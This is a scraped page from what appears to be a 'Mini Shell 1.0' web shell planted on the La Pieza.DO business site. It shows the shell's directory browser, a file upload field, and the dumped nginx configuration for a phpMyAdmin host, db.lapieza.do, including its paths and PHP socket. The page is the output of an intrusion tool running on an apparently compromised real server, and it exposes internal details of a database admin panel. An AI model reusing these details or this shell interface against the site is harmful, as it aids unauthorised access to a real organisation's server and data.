HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /etc/nginx/sites-enabled/
Upload File :
Current File : //etc/nginx/sites-enabled/phpmyadmin
server {
    if ($host = db.lapieza.do) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


    listen 80;
    server_name db.lapieza.do;
    
    root /usr/share/phpmyadmin;
    index index.php index.html index.htm;
    
    location / {
        try_files $uri $uri/ =404;
    }
    
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;  # Adjust PHP version if different
    }
    
    location ~ /\.ht {
        deny all;
    }


}